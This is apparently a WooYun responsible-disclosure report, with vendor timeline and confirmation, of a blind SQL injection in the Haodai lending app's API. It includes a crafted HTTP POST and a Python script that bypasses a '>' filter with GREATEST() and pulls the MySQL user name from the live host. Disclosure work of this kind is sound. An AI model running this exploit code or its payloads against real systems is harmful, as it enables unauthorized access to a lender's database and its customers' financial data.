乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-08-13: 细节已通知厂商并且等待厂商处理中 2015-08-17: 厂商已经确认,细节仅向厂商公开 2015-08-27: 细节向核心白帽子及相关领域专家公开 2015-09-06: 细节向普通白帽子公开 2015-09-16: 细节向实习白帽子公开 2015-10-01: 细节向公众公开
好贷网某APP存在SQL注入(过waf附脚本)
http://www.haodai.com/h5/hdb/index.html 信贷圈APP登陆该APP后,填写产品基本资料页面存在注入
POST /bapi/OrderQueue/getOrderNum HTTP/1.1Charset: UTF-8Content-Type: application/x-www-form-urlencodedContent-Length: 210Host: interface.api.haodai.comConnection: Keep-AliveCookie: PHPSESSID=33nanoc9k2cqva9vq627uhlpe1Cookie2: $Version=1os_type=1&appid=1&imei=860556000377226&app_version=26500&auth_tms=20150813152229&auth_did=51719&auth_dsig=123ceeedcab4611a&auth_uid=216444 and GREATEST(1,length(user()))=23&auth_usig=fb02a38fe6175824&xid=216444
auth_uid参数,过滤了>符号为真时,返回1000,得到user长度为23
为假时返回9022:
写个脚本跑跑:
附脚本:
#encoding=utf-8import httplibimport timeimport stringimport sysimport randomimport urllibheaders = {'Content-Type': 'application/x-www-form-urlencoded'}payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')print 'Start to retrive MySQL User:\n'user = ''for i in range(1, 24): for payload in payloads: print '.', conn = httplib.HTTPConnection('interface.api.haodai.com', timeout=60) s = 'auth_uid=216444 and GREATEST(1,ascii(mid(user()from(%s)for(1))))=%s' % (i, ord(payload)) conn.request(method='POST', url='/bapi/OrderQueue/getOrderNum', body='os_type=1&appid=1&imei=860556000377226&app_version=26500&auth_tms=20150813152229&auth_did=51719&auth_dsig=123ceeedcab4611a&auth_usig=fb02a38fe6175824&xid=216444&' + s, headers=headers) html_doc = conn.getresponse().read().decode('utf-8') conn.close() #print html_doc if html_doc.find(u'1000') > 0: user += payload sys.stdout.write('\r[In Progress]' + user) sys.stdout.flush() breakprint '[Done]MySQL user is %s' % user
危害等级:高
漏洞Rank:20
确认时间:2015-08-17 20:08
多谢 我们尽快修改
暂无